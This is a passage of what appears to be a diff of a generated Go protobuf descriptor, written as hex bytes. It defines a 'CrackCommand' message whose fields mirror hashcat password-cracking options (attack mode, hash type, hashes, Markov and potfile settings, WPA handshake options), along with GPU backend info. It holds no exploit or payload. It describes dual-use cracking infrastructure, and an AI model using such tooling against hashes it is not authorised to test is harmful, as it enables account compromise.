0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, + 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, + 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, + 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, + 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, + 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, + 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, + 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, + 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, + 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, + 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, + 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, + 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, + 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, + 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, + 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, + 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, + 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, + 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, + 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, + 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, + 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, + 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, + 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, + 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, + 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, + 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, + 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, + 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, + 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, + 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, + 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, + 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, + 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, + 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, + 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, + 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, + 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, + 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, + 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, + 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, + 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, + 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, + 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, + 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, + 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, + 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, + 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, + 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, + 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, + 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, + 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, + 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, + 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, + 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, + 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, + 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, + 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, + 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, + 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, + 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, + 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, + 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, + 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, + 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, + 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, + 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, + 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, + 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, + 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, + 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, + 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, + 0x4f, 0x70, 0x65, 